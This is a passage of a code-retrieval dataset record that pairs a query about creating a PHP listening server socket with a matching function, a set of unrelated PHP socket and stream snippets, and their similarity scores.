$this->http->on(\"task\", [$this, 'onTask']);\n $this->http->on(\"finish\", [$this, 'onFinish']);\n $this->http->on(\"close\", [$this, 'onClose']);\n\n\n $this->http->start();\n }", "public function setup() {\n $this->socket = socket_create(AF_INET, SOCK_STREAM, 0);\n if (!socket_bind($this->socket, $this->ip, $this->port)) {\n $errno = socket_last_error();\n $this->error(sprintf('Could not bind to address %s:%s [%s] %s', $this->ip, $this->port, $errno, socket_strerror($errno)));\n throw new Exception('Could not start server.');\n }\n\n socket_listen($this->socket);\n $this->daemon->on(Daemon::ON_POSTEXECUTE, array($this, 'run'));\n }", "public function createSocket()\n\t{\n\t\t$this->socket = new Socket($this->host, $this->port);\n\n\t\tif ($this->port == static::SSL_PORT) {\n\t\t\t$this->socket->tls($this->sslOptions);\n\t\t}\n\n\t\treturn $this->socket;\n\t}", "protected function _generateSocket() {\n\t}", "public function setEventLoop(\\Phalcon\\Websocket\\EventLoopInterface $eventloop){ }", "protected function bindSwooleServer()\n {\n $this->app->singleton('swoole.server', function () {\n return $this->server;\n });\n }", "public function init()\n {\n $this->sockets = 0;\n }", "public function start()\n {\n $this->server->on(\"open\", [$this, 'wsOpen']);\n $this->server->on(\"message\", [$this, 'wsMessage']);\n $this->server->on(\"close\", [$this, 'wsClose']);\n\n $this->server->start();\n }", "public function __construct()\n {\n $config = ConfigHolder::getConfig();\n $context = array();\n if(!empty($config->proxy))\n {\n $context['http'] = array('proxy' => filter_var($config->proxy, FILTER_SANITIZE_STRING));\n }\n $default_context = stream_context_get_default ($context); \n libxml_set_streams_context($default_context); \n }", "function serve($cb) {\n\t$offset = rand(0,2000);\n\tforeach (range(40000+$offset, 50000+$offset) as $port) {\n\t\tlogger(\"serve: Trying port %d\", $port);\n\t\tif (($server = @stream_socket_server(\"tcp://localhost:$port\"))) {\n\t\t\tfprintf(STDERR, \"%s\\n\", $port);\n\t\t\tlogger(\"serve: Using port %d\", $port);\n\t\t\tdo {\n\t\t\t\t$R = array($server); $W = array(); $E = array();\n\t\t\t\t$select = stream_select($R, $E, $E, 10, 0);\n\t\t\t\tif ($select && ($client = stream_socket_accept($server, 1))) {\n\t\t\t\t\tlogger(\"serve: Accept client %d\", (int) $client);\n\t\t\t\t\tif (getenv(\"PHP_HTTP_TEST_SSL\")) {\n\t\t\t\t\t\tstream_socket_enable_crypto($client, true, STREAM_CRYPTO_METHOD_SSLv23_SERVER);\n\t\t\t\t\t}\n\t\t\t\t\ttry {\n\t\t\t\t\t\t$R = array($client);\n\t\t\t\t\t\twhile (!feof($client) && stream_select($R, $W, $E, 1, 0)) {\n\t\t\t\t\t\t\tlogger(\"serve: Handle client %d\", (int) $client);\n\t\t\t\t\t\t\t$cb($client);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tlogger(\"serve: EOF/timeout on client %d\", (int) $client);\n\t\t\t\t\t} catch (Exception $ex) {\n\t\t\t\t\t\tlogger(\"serve: Exception on client %d: %s\", (int) $client, $ex->getMessage());\n\t\t\t\t\t\t/* ignore disconnect */\n\t\t\t\t\t\tif ($ex->getMessage() !== \"Empty message received from stream\") {\n\t\t\t\t\t\t\tfprintf(STDERR, \"%s\\n\", $ex);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} while ($select);\n\t\t\treturn;\n\t\t}\n\t}\n}", "private function _initContext( )\n {\n if( empty($this->_application) )\n {\n $this->_application = self::getDefaultApplicationName();\n }\n\n if( ! sfContext::hasInstance() )\n {\n sfContext::createInstance($this->getApplicationConfiguration());\n }\n\n sfContext::switchTo($this->_application);\n }", "public function init()\n\t{\n\t\t$this->update();\n\t\t\n\t\tif ($this->config->enable->value)\n\t\t{\n\t\t\t$this->bindSockets(\n\t\t\t\t$this->config->listen->value,\n\t\t\t\t$this->config->listenport->value\n\t\t\t);\n\t\t}\n\t}", "protected function getSocketInstance(array $config)\n {\n return new Socket($config);\n }", "protected function createStreamContext($content, $contentType)\n\t{\n\t\treturn stream_context_create(array(\n\t\t\t'http' => array(\n\t\t\t\t'method' => 'POST',\n\t\t\t\t'header' => \"Content-Type: {$contentType}\",\n\t\t\t\t'content' => $content\n\t\t\t)\n\t\t));\n\t}", "public function __construct($stream, LoggerInterface $log)\n {\n $this->log = $log;\n $this->server = stream_socket_server($stream, $errno, $errorMessage);\n stream_set_blocking( $this->server, 0 );\n $this->client_socks = array();\n\n if ($this->server === false) {\n throw new \\Exception(\"Could not bind socket to port\");\n }\n }", "public function __construct()\n {\n parent::__construct();\n\n $this->createSocket(self::SOCKET_OUTPUT);\n $this->createSocket(self::SOCKET_ARRAY);\n $this->createSocket(self::SOCKET_INDEX);\n $this->createSocket(self::SOCKET_DATA);\n }", "function setServerSocket($socket)\n {\n $this->serverSocket = $socket;\n }", "private function setResource()\n {\n try {\n $this->setContext();\n $this->resource = stream_socket_client(\n self::$host . \":\" . self::$port,\n $errno,\n $errstr,\n self::TIMEOUT,\n STREAM_CLIENT_CONNECT,\n $this->context\n );\n $this->serverInfo = stream_get_meta_data($this->resource);\n $this->SMTPResponses[\"initial\"] = fgets($this->resource, 4096);\n } catch (\\Exception $e) {\n $this->error = $e->getMessage();\n $this->errorNumber = $e->getCode();\n }\n $this->connected = is_resource($this->resource);\n }", "public static function setRequestContext(ServerRequestInterface $request)\n {\n $uri = $request->getUri();\n static::$_requestContext = [\n '_base' => $request->getAttribute('base'),\n '_port' => $uri->getPort(),\n '_scheme' => $uri->getScheme(),\n '_host' => $uri->getHost(),\n ];\n }", "protected function setupServer()\n {\n $serverVars = $this->router->getServerVarsForUri();\n $_SERVER = array_merge($_SERVER, $serverVars);\n }", "private function startServer() {\n\t\t$serverLog = PHPUNIT_TEMP_DIR . '/socketServer.log';\n\t\t$descriptorspec = array(\n\t\t\t0 => array(\"pipe\", \"r\"), // stdin\n\t\t\t1 => array(\"file\", $serverLog, \"a\"),// stdout\n\t\t\t2 => array(\"file\", $serverLog, \"a\") // stderr\n\t\t);\n\n\t\t$cmd = \"php \" . dirname(__FILE__) . '/socketServer.php';\n\t\t$this->server = proc_open($cmd, $descriptorspec, $this->pipes);\n\t\tif ($this->server === false) {\n\t\t\tthrow new Exception(\"Failed starting the socket server process.\");\n\t\t}\n\t\t\n\t\t// Sleep a bit to allow server to start\n\t\tusleep(200000);\n\t\t\n\t\t// Verify the server is running\n\t\t$status = proc_get_status($this->server);\n\t\tif (!$status['running']) {\n\t\t\tthrow new Exception(\"Socket server process failed to start. Check the log at [$serverLog].\");\n\t\t}\n\t}", "public static function sslSocket(EventBase $base, mixed $socket, EventSslContext $ctx, int $state, int $options = 0): EventBufferEvent {}", "function init_ssl() {\n\t\t// We *must* have entropy. Otherwise there's no point to crypto.\n\t\tif (!EventUtil::sslRandPoll()) {\n\t\t\texit(\"EventUtil::sslRandPoll failed\\n\");\n\t\t}\n\n\t\t$local_cert = $this->cert;\n\t\t$local_pk = $this->pkey;\n\t\t$cafile = $this->cafile;\n\t\t$capath = $this->capath;\n\n\t\tif (!file_exists($local_cert) || !file_exists($local_pk)) {\n\t\t\techo \"Couldn't read $local_cert or $local_pk file. To generate a key\\n\",\n\t\t\t\t\"and self-signed certificate, run:\\n\",\n\t\t\t\t\" openssl genrsa -out $local_pk 2048\\n\",\n\t\t\t\t\" openssl req -new -key $local_pk -out cert.req\\n\",\n\t\t\t\t\" openssl x509 -req -days 365 -in cert.req -signkey $local_pk -out $local_cert\\n\";\n\n\t\t\treturn FALSE;\n\t\t}\n\t\t$options = [\n\t\t\tEventSslContext::OPT_LOCAL_CERT => $local_cert,\n\t\t\tEventSslContext::OPT_LOCAL_PK => $local_pk,\n\t\t\tEventSslContext::OPT_VERIFY_PEER => true,\n\t\t\tEventSslContext::OPT_VERIFY_DEPTH => 10,\n\t\t\tEventSslContext::OPT_ALLOW_SELF_SIGNED => true,\n\t\t\tEventSslContext::OPT_REQUIRE_CLIENT_CERT => true,\n\t\t];\n\n\t\tif ($cafile) {\n\t\t\t$options[EventSslContext::OPT_CA_FILE] = $cafile;\n\t\t}\n\n\t\tif ($capath) {\n\t\t\t$options[EventSslContext::OPT_CA_PATH] = $capath;\n\t\t}\n\n\t\t$ctx = new EventSslContext(EventSslContext::SSLv3_SERVER_METHOD, $options);\n\n\t\treturn $ctx;\n\t}", "public function getBoundContext(): IoContextInterface;", "function __construct($addr, $port, $bufferLength = 2048) \n\t{\n\t\t$this->maxBufferSize = $bufferLength;\n\n\t\t$this->master = socket_create(AF_INET, SOCK_STREAM, SOL_TCP) or die(\"Failed: socket_create()\");\n\n\t\tsocket_set_option($this->master, SOL_SOCKET, SO_REUSEADDR, 1) or die(\"Failed: socket_option()\");\n\t\tsocket_bind($this->master, $addr, $port)or die(\"Failed: socket_bind()\");\n\t\tsocket_listen($this->master,20) or die(\"Failed: socket_listen()\");\n\n\t\t$this->sockets['m'] = $this->master;\n\n\t\t$this->stdout(\"Server started\".PHP_EOL.\"Listening on: $addr:$port\".PHP_EOL.\"Master socket: \".$this->master);\n\t}", "public function __construct()\n {\n $this->client = new Client([\n 'base_uri' => env('CHAT_STREAM_URL', 'http://192.168.0.6:5000/')\n ]);\n }", "public function setStreamFactory(StreamFactoryInterface $streamFactory):static;", "private function __construct ( $srv ) { $this->server = $srv; }", "static public function factory( $config )\n\t{\n\t\t$config = self::_parseConfig( $config );\n\t\t$config = array_merge( array(\n\t\t\t'stream' => null,\n\t\t\t'mode' => null ), $config );\n\n\t\t$streamOrUrl = isset( $config[ 'url' ] ) ? $config[ 'url' ] : $config[ 'stream' ];\n\n\t\treturn new self( $streamOrUrl, $config[ 'mode' ] );\n\t}", "public function __construct() {\n\t\t\tconfig::set('connection.insecure_domains', config::get('socket.insecure_domains', []));\n\t\t\tconfig::set('connection.tls_ca_path', config::get('socket.tls_ca_path', []));\n\t\t\t$this->setup();\n\t\t}", "public function run()\n {\n $port = (int) CommandLine::getInput('p');\n\n if (!$port) {\n die('You must specify a valid port for the socket server. For example: \"-p=1024\"');\n }\n\n $server = new SocketServer('127.0.0.1', $port);\n\n // Set greetings for the new connection\n $server->greetings(\"\\nHi! Just type your brackets sequence and you will see the result\\n\");\n\n // Set handler of the incoming messages\n $server->setMessageHandler($this->messageHandler);\n\n // Start up the server\n $server->run();\n }", "public function startListening();", "public function getStreamProviderWrapper();", "public function __construct(Process $server, SocketEndpoint $endpoint) {\n $this->server= $server;\n $this->endpoint= $endpoint;\n }", "public function initialContext() {\n return $this->ff->createBasicContext();\n }", "protected function getContext($request)\r\n {\r\n return stream_context_create(\r\n array(\r\n 'http' => array(\r\n 'method' => \"POST\",\r\n 'header' => \"Content-Type: text/xml; charset=UTF-8\\r\\n\" .\r\n \"User-Agent: Yii livejournal extension\\r\\n\",\r\n 'content' => $request\r\n )\r\n )\r\n );\r\n }", "protected function listen()\n {\n do {\n $data = fgets($this->socket, 512);\n if (!empty($data)) {\n $request = $this->receive($data);\n $cmd = strtolower($request->getCommand());\n\n if ($cmd === 'privmsg') {\n $event_name = 'message.' . ($request->isPrivateMessage() ? 'private' : 'channel');\n } else {\n $event_name = 'server.' . $cmd;\n }\n\n // Skip processing if the incoming message is from the bot\n if ($request->getSendingUser() === $this->config['nick']) {\n continue;\n }\n\n $event = new Event($request);\n $this->dispatcher->dispatch($event_name, $event);\n $responses = $event->getResponses();\n\n if (!empty($responses)) {\n $this->send($responses);\n }\n }\n } while (!feof($this->socket));\n }", "protected function createSocket($remoteSocket, $context, &$errno, &$errstr)\n {\n return stream_socket_client(\n $remoteSocket,\n $errno,\n $errstr,\n $this->sendTimeoutSec + ($this->sendTimeoutUsec / 1000000),\n STREAM_CLIENT_CONNECT,\n $context\n );\n }", "function init ($server, $query, $data, $files, $data_stream, $cookie, $request_started) {\n\t\t++static::$id;\n\t\t$this->init_server($server);\n\t\t$this->init_query($query);\n\t\t$this->init_data_and_files($data, $files, $data_stream);\n\t\t$this->init_cookie($cookie);\n\t\t$this->init_route();\n\t\t$this->started = $request_started;\n\t}", "public function getStreamProxy() {}", "public function getStreamProxy() {}", "public function getStreamProxy() {}", "public function listen(): static\n {\n $this->breakLoop = false;\n $this->listening = true;\n\n $baseTime = microtime(true);\n $times = [];\n $lastCycle = $baseTime;\n $this->generateMaps = false;\n $this->generateMaps();\n\n $this->startSignalHandlers();\n $this->breakLoop = false;\n\n while (!$this->breakLoop) {\n $socketCount = count($this->sockets);\n $streamCount = count($this->streams);\n $signalCount = count($this->signals);\n $timerCount = count($this->timers);\n\n if ($this->generateMaps) {\n $this->generateMaps();\n }\n\n $hasHandler = false;\n\n\n // Timers\n if (!empty($this->timers)) {\n $hasHandler = true;\n $time = microtime(true);\n\n foreach ($this->timers as $id => $binding) {\n if ($binding->frozen) {\n continue;\n }\n\n $dTime = $times[$id] ?? $baseTime;\n $diff = $time - $dTime;\n\n if ($diff > $binding->duration) {\n $times[$id] = $time;\n $binding->trigger(null);\n }\n }\n }\n\n\n\n // Signals\n if (!empty($this->signals) && $this->hasPcntl) {\n $hasHandler = true;\n pcntl_signal_dispatch();\n }\n\n // Sockets\n if (!empty($this->socketMap)) {\n $hasHandler = true;\n $e = null;\n\n /** @var array<int, resource|Socket> $read */\n $read = $this->socketMap[self::RESOURCE][self::READ];\n /** @var array<int, resource|Socket> $write */\n $write = $this->socketMap[self::RESOURCE][self::WRITE];\n\n try {\n /* @phpstan-ignore-next-line */\n $res = socket_select($read, $write, $e, 0, 10000);\n } catch (Throwable $e) {\n $res = false;\n }\n\n if ($res === false) {\n // TODO: deal with error\n } elseif ($res > 0) {\n foreach ($read as $resourceId => $socket) {\n foreach (Coercion::toArray(\n $this->socketMap[self::HANDLER][self::READ][$resourceId]\n ) as $id => $binding) {\n /** @var Binding $binding */\n $binding->trigger($socket);\n }\n }\n\n foreach ($write as $resourceId => $socket) {\n foreach (Coercion::toArray(\n $this->socketMap[self::HANDLER][self::WRITE][$resourceId]\n ) as $id => $binding) {\n /** @var Binding $binding */\n $binding->trigger($socket);\n }\n }\n }\n\n // TODO: add timeout handler\n }\n\n // Streams\n if (!empty($this->streamMap)) {\n $hasHandler = true;\n $e = null;\n\n /** @var array<int, resource> $read */\n $read = $this->streamMap[self::RESOURCE][self::READ];\n /** @var array<int, resource> $write */\n $write = $this->streamMap[self::RESOURCE][self::WRITE];\n\n try {\n $res = stream_select($read, $write, $e, 0, 10000);\n } catch (Throwable $e) {\n $res = false;\n }\n\n\n if ($res === false) {\n // TODO: deal with error\n } elseif ($res > 0) {\n foreach ($read as $resourceId => $stream) {\n foreach (Coercion::toArray(\n $this->streamMap[self::HANDLER][self::READ][$resourceId]\n ) as $id => $binding) {\n /** @var Binding $binding */\n $binding->trigger($stream);\n }\n }\n\n foreach ($write as $resourceId => $stream) {\n foreach (Coercion::toArray(\n $this->streamMap[self::HANDLER][self::WRITE][$resourceId]\n ) as $id => $binding) {\n /** @var Binding $binding */\n $binding->trigger($stream);\n }\n }\n }\n\n // TODO: add timeout handler\n }\n\n\n // Tick\n if (\n !$this->breakLoop &&\n $this->tickHandler\n ) {\n if (false === ($this->tickHandler)($this)) {\n $this->breakLoop = true;\n }\n }\n\n // Cycle\n if (\n !$this->breakLoop &&\n $this->cycleHandler\n ) {\n $time = microtime(true);\n\n if ($time - $lastCycle > 1) {\n $lastCycle = $time;\n\n if (false === ($this->cycleHandler)(++$this->cycles, $this)) {\n $this->breakLoop = true;\n }\n }\n }\n\n\n if (!$hasHandler) {\n $this->breakLoop = true;\n } elseif (\n $socketCount !== count($this->sockets) ||\n $streamCount !== count($this->streams) ||\n $signalCount !== count($this->signals) ||\n $timerCount !== count($this->timers)\n ) {\n $this->generateMaps = true;\n }\n\n usleep(30000);\n }\n\n $this->breakLoop = false;\n $this->listening = false;\n\n $this->stopSignalHandlers();\n\n return $this;\n }", "function ts3client_startConnection($serverConnectionHandlerID, $identity, $ip, $port, $nickname, $defaultChannelID, $defaultChannelPassword, $serverPassword) {}", "public function pubSubLoop(/* arguments */)\n {\n return $this->sharedContextFactory('createPubSub', func_get_args());\n }", "protected function init($config)\n {\n if (self::$conn) {\n return;\n }\n\n require_once(Director::getAbsFile(\"messagequeue/thirdparty/stomp-php-1.0.0/Stomp.php\"));\n\n $conf = $config[\"stomp\"];\n self::$conn = new Stomp($conf[\"server\"]);\n\n if (isset($conf[\"durableClientId\"])) {\n self::$conn->clientId = $conf[\"durableClientId\"];\n }\n\n // @TODO: handle authentication and any other connection properties\n self::$conn->connect();\n }", "public function setIncomingContext($val)\n {\n $this->_propDict[\"incomingContext\"] = $val;\n return $this;\n }", "static public function factory($config)\n {\n $config = self::_parseConfig($config);\n $config = array_merge(array(\n 'stream' => null,\n 'mode' => null,\n ), $config);\n\n $streamOrUrl = isset($config['url']) ? $config['url'] : $config['stream'];\n\n return new self(\n $streamOrUrl,\n $config['mode']\n );\n }", "public function createServer($config = array()) {\n $this->server = new LimelightServer($config);\n }", "public function init() {\n\t\t$errno = \"\";\n\t\t$errstr = \"\";\n\t\t\n\t\t//Si la socket est un fichier\n\t\tif (file_exists ( $this->nom_socket )) {\n\t\t\t@unlink ( $this->nom_socket );\n\t\t}\n\t\t\n\t\t$nom_complet = $this->type_socket . \"://\" . $this->nom_socket;\n\t\tif ($this->port_socket != \"\") {\n\t\t\t$nom_complet .= \":\" . $this->port_socket;\n\t\t}\n\t\t$this->socket = stream_socket_server ( $nom_complet, $errno, $errstr );\n\t\t$this->onDebug ( $errstr . \" (\" . $errno . \") sur \" . $nom_complet, 1 );\n\t\t\n\t\tif (! $this->socket) {\n\t\t\treturn $this->onError ( $errstr . \" (\" . $errno . \") sur \" . $nom_complet );\n\t\t\tif ($errstr == \"Address already in use\") {\n\t\t\t\t$CODE_RETOUR = 2;\n\t\t\t} else {\n\t\t\t\t$CODE_RETOUR = 0;\n\t\t\t}\n\t\t} else {\n\t\t\t$CODE_RETOUR = 1;\n\t\t}\n\t\t\n\t\treturn $CODE_RETOUR;\n\t}", "protected static function socket() {\n\t\t\tif (! self::valid(self::$socket))\n self::$socket = self::socket_new();\n\t\t\treturn self::$socket;\n\t\t}", "public function getSocket();", "function server_loop($address, $port)\n{\n GLOBAL $__server_listening;\n\n if(($sock = socket_create(AF_INET, SOCK_STREAM, 0)) < 0)\n {\n echo \"failed to create socket: \".socket_strerror($sock).\"\\n\";\n exit();\n }\n\n if(($ret = socket_bind($sock, $address, $port)) < 0)\n {\n echo \"failed to bind socket: \".socket_strerror($ret).\"\\n\";\n exit();\n }\n\n if( ( $ret = socket_listen( $sock, 0 ) ) < 0 )\n {\n echo \"failed to listen to socket: \".socket_strerror($ret).\"\\n\";\n exit();\n }\n\n socket_set_nonblock($sock);\n \n echo \"waiting for clients to connect\\n\";\n\n while ($__server_listening)\n {\n $connection = @socket_accept($sock);\n if ($connection === false)\n {\n usleep(100);\n }elseif ($connection > 0)\n {\n handle_client($sock, $connection);\n }else\n {\n echo \"error: \".socket_strerror($connection);\n die;\n }\n }\n}", "private function initSubscriber()\n\t{\n\t\tif ( !isset( $this->m_cSubscriber ) || !$this->m_cSubscriber )\n\t\t{\n\t\t\tif ( $this->m_bHasEventLoop )\n\t\t\t{\n\t\t\t\t$this->m_cSubscriber = $this->m_cContext->getSocket( \\ZMQ::SOCKET_SUB );\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$this->m_cSubscriber = new \\ZMQSocket( $this->m_cContext, \\ZMQ::SOCKET_SUB );\n\t\t\t}\n\n\t\t\t$this->m_cSubscriber->connect( \"tcp://\". Config::getWampZmqIP() .\":\". Config::getWampZmqPort() );\n\t\t}\n\t}", "public function initContext($ctx);", "public function contextStrategy();", "protected function getWebServer() {}", "public function __construct(LoopInterface $loop, array $serverParams = [])\n {\n $this->loop = $loop;\n $this->serverParams = array_replace([], self::DEFAULT_SERVER_PARAMS, $serverParams, [\n 'loop' => $loop\n ]);\n $onError = function (Throwable $error) {\n $this->emit('error', [$error]);\n };\n $this->requestParser = new RequestParser($this->serverParams);\n $this->matcherFactory = new MatcherFactory($this->serverParams);\n $this->filters = new FilterCollection($this->serverParams);\n $this->routes = new RouteCollection($this->serverParams, $this->matcherFactory);\n $this->negotiator = new WebSocketNegotiator($this->serverParams);\n $this->webSocketHandlers = new WebSocketHandlerFactory($this->serverParams);\n $this->controllerManager = new ControllerManager($this->serverParams, $onError);\n $this->tcpServer = $this->createTcpServer($loop);\n $this->tcpServer->on('error', $onError);\n $this->tcpConnections = new TcpConnections($this->tcpServer, function (ConnectionInterface $connection) {\n $this->onTcpConnection($connection);\n });\n $this->addShutdownSignals($this->serverParams);\n }", "public function init(ServerConfigurationInterface $serverConfig);", "public function init() {\n try {\n // check for sockets support\n if (!extension_loaded('sockets')) {\n throw new Exception('Sockets extension required!');\n }\n\n // create a socket for communication with the nameParser service\n $this->m_socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);\n // create a short timeout to not block the service\n socket_set_option($this->m_socket, SOL_SOCKET, SO_SNDTIMEO, array('sec' => Yii::app()->params['nameParser']['timeout'], 'usec' => 0));\n socket_set_option($this->m_socket, SOL_SOCKET, SO_RCVTIMEO, array('sec' => Yii::app()->params['nameParser']['timeout'], 'usec' => 0));\n // connect to the service\n $this->m_connected = socket_connect($this->m_socket, Yii::app()->params['nameParser']['address'], Yii::app()->params['nameParser']['port']);\n } catch (Exception $e) {\n error_log('[NameParser] ' . $e->getMessage());\n\n $this->m_socket = NULL;\n $this->m_connected = false;\n }\n }", "public static function socket($request = null)\n {\n }", "private static function stream_setup($callback, $streamUrl) {\n self::$callback = $callback;\n\n //Authenticate the socket to Oanda\n self::authenticate(($streamHandle = curl_init()));\n\n //Setup the stream\n curl_setopt($streamHandle, CURLOPT_URL, $streamUrl);\n\n //Our callback, called for every new data packet\n curl_setopt($streamHandle, CURLOPT_WRITEFUNCTION, 'self::stream_callback');\n\n return $streamHandle;\n }", "public function __construct(StandaloneServer\\Config $config, LoggerInterface $logger = null)\n {\n $this->config = $config;\n\n $curl_available = function_exists('curl_version');\n\n $this->portTester = new PortTester([\n 'backend' => $curl_available ? PortTester::BACKEND_CURL : PortTester::BACKEND_STREAM_SOCKET,\n // Close timout ms could be adjusted for your system\n // It prevent that port availability testing does\n // not close quickly enough to allow standalone server binding\n 'close_timeout_ms' => $curl_available ? null : 300\n ]);\n if ($logger === null) {\n $logger = new NullLogger();\n }\n $this->logger = $logger;\n\n $this->process = new Process();\n }", "public function acceptTcp($main_socket) {\n $socket = @stream_socket_accept($main_socket, 0, $remote_address);\n \n //thundering herd EAGAIN (Resource temporarily unavailable)\n if (!$socket) {\n return;\n }\n \n $connection = new Connection($socket, $this);\n \n if($this->handler ){\n $this->handler->attach($connection);\n }\n \n $this->handler->owner = $this;\n \n $this->trigger(Server::ON_ACCEPT, new IOEvent(['context'=>$connection]));\n \n $connection->ready();\n }", "public function __construct(){\n\n\t\t\t$this->listen();\n\n\t\t}", "private function createStreamCallback()\n {\n $read =& $this->readListeners;\n $write =& $this->writeListeners;\n $this->streamCallback = function ($stream, $flags) use(&$read, &$write) {\n $key = (int) $stream;\n if (\\EV_READ === (\\EV_READ & $flags) && isset($read[$key])) {\n \\call_user_func($read[$key], $stream);\n }\n if (\\EV_WRITE === (\\EV_WRITE & $flags) && isset($write[$key])) {\n \\call_user_func($write[$key], $stream);\n }\n };\n }", "public function listen() :void {\n\n echo \"Starting websocket server on... \" . $this->address . \":\" . $this->port;\n \n socket_listen($this->server);\n socket_set_nonblock($this->server);\n $this->clients[] = new WebSocket($this->server);\n\n do {\n\n $read = array_map(function($ws) {return $ws->socket;}, $this->clients);\n $write = null; \n $except = null;\n\n $ready = socket_select($read, $write, $except, 0);\n if ($ready === false) {\n if ($this->onError !== null) {\n $callback = $this->onError;\n $callback(\"[\".socket_last_error().\"]\".\" \".socket_strerror(socket_last_error()));\n }\n\n return;\n }\n\n if ($ready < 1) continue;\n\n // check if there is a client trying to connect.\n if (in_array($this->server, $read)) {\n if (($client = socket_accept($this->server)) !== false) {\n\n // send websocket handshake headers.\n if (!$this->sendHandshakeHeaders($client)) {\n continue;\n }\n\n // add the new client to the $clients array.\n $ws = new WebSocket($client);\n $this->clients[] = $ws;\n\n // call \"connection\" event handler for each new client.\n if ($this->onConnect !== null) {\n $callback = $this->onConnect;\n $callback($ws);\n }\n\n // remove the listening socket from the clients-with-data array.\n $key = array_search($this->server, $read);\n unset($read[$key]);\n }\n }\n\n foreach ($read as $key => $client) {\n\n $buffer = \"\";\n $bytes = @socket_recv($client, $buffer, 2048, 0);\n\n // check if the client is disconnected.\n if ($bytes === false) {\n\n // remove client from $clients array\n // and call disconnect event handler.\n unset($this->clients[$key]);\n if ($this->onDisconnect !== null) {\n $callback = $this->onDisconnect;\n $callback();\n }\n\n continue;\n }\n\n $ws = $this->clients[$key];\n $callback = $ws->onMessage;\n if ($callback !== null) {\n $callback($ws, $this->unmask($buffer));\n }\n }\n } while (true);\n socket_close($this->server);\n }", "public function __construct(IoContextInterface $context)\n {\n $this->boundContext = $context;\n }", "private function listenSocket() {\n $result = socket_listen($this->listeningSocket);\n $this->checkResult($result);\n }" ]
[ "0.65937775", "0.63524294", "0.61987245", "0.6120276", "0.5942839", "0.5922673", "0.5695063", "0.56058484", "0.55532527", "0.5538928", "0.5454523", "0.54109675", "0.5406407", "0.53507173", "0.5337277", "0.5319977", "0.5292695", "0.5284051", "0.52714616", "0.5258502", "0.5213531", "0.51922435", "0.51719826", "0.51649773", "0.5162611", "0.5154219", "0.5153681", "0.5147893", "0.5123183", "0.5115878", "0.50961775", "0.5066364", "0.5066316", "0.5062921", "0.5018626", "0.49958888", "0.49478325", "0.49426088", "0.49401274", "0.49216315", "0.49102288", "0.490214", "0.48823708", "0.48757458", "0.48706716", "0.4860936", "0.48423082", "0.4840609", "0.48405206", "0.48334458", "0.48140824", "0.47971335", "0.47929248", "0.4745593", "0.4745232", "0.47439024", "0.4743541", "0.47294706", "0.47245687", "0.47201222", "0.47043133", "0.46944135", "0.46883", "0.46880218", "0.46850026", "0.46786013", "0.46737882", "0.4666046", "0.46605527", "0.46488774", "0.46418345", "0.46418345", "0.46413153", "0.46404815", "0.46171868", "0.46148345", "0.46109867", "0.46095544", "0.46084404", "0.46059033", "0.4585095", "0.45730925", "0.4558268", "0.45582026", "0.45581585", "0.45577568", "0.45570666", "0.45479375", "0.45468178", "0.4545535", "0.45426598", "0.45421064", "0.45392227", "0.45367867", "0.45342326", "0.45259166", "0.45244884", "0.45177582", "0.45046023", "0.45004392" ]
0.6733285
0
Creates the main server listening socket on the configured address/port. stream_socket_server() is used here rather than the sockets extension mainly due to its inbuilt support for SSL connections.
protected static function createListener($context) { $type = MHTTPD::$config['SSL']['enabled'] ? 'ssl' : 'tcp'; $addr = MHTTPD::$config['Server']['address']; $port = MHTTPD::$config['Server']['port']; if (!(MHTTPD::$listener = stream_socket_server("{$type}://{$addr}:{$port}", $errno, $errstr, STREAM_SERVER_BIND | STREAM_SERVER_LISTEN, $context)) ) { trigger_error("Could not create ".strtoupper($type)." server socket", E_USER_ERROR); } if (MHTTPD::$debug) { cecho("\n".chrule()."\n"); cecho("Created ".strtoupper($type)." listener: ".stream_socket_get_name(MHTTPD::$listener, false)."\n\n"); } else { $t = ($type == 'ssl') ? ' (SSL)' : ''; cecho("Started MiniHTTPD server on {$addr}, port {$port}{$t} ...\n\n"); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function createSocket()\n {\n //Create TCP/IP sream socket\n $this->socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);\n //reuseable port\n socket_set_option($this->socket, SOL_SOCKET, SO_REUSEADDR, 1);\n\n //bind socket to specified host\n socket_bind($this->socket, 0, $this->port);\n\n //listen to port\n socket_listen($this->socket);\n\n //create & add listning socket to the list\n $this->clients[0] = [\n $this->socket\n ];\n }", "public function listen (array $options = [])\r\n\t\t{\r\n\t\t\t\tif ($this -> isListening ())\r\n\t\t\t\t{\r\n\t\t\t\t\t\treturn true;\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\t$flags = STREAM_SERVER_BIND | STREAM_SERVER_LISTEN;\r\n\t\t\t\t$context = stream_context_create ($options);\r\n\t\t\t\t$scheme = (string) $this -> getTransport () . '://' . $this -> getAddress () . ':' . $this -> getPort ();\r\n\t\t\t\t$resourcePointer = stream_socket_server ($scheme, $errno, $errstr, $flags, $context);\r\n\t\t\t\t\r\n\t\t\t\t/**\r\n\t\t\t\t* Determine on which port we bound.\r\n\t\t\t\t*/\r\n\t\t\t\tif ($this -> getPort () == 0)\r\n\t\t\t\t{\r\n\t\t\t\t\t\t$localAddress = stream_socket_get_name ($resourcePointer, false);\r\n\t\t\t\t\t\t$port = substr ($localAddress, strrpos ($localAddress, ':') + 1);\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t$this -> setPort ($port);\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\t/**\r\n\t\t\t\t* Check if we succeeded to make the resource\r\n\t\t\t\t*/\r\n\t\t\t\tif (!is_resource ($resourcePointer) || $errno || $errstr )\r\n\t\t\t\t{\r\n\t\t\t\t\t\tthrow new SocketException (sprintf ('Failed to create socket resource, error: %s', $errstr));\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\t/**\r\n\t\t\t\t* Callback for when a new connection has been received.\r\n\t\t\t\t*/\r\n\t\t\t\t$acceptCallback = function (PollerInterface $pollerInterface, $resourcePointer)\r\n\t\t\t\t{\r\n\t\t\t\t\t\tif (false === $newConnection = stream_socket_accept ($resourcePointer))\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\t$event = new AcceptingFailedEvent 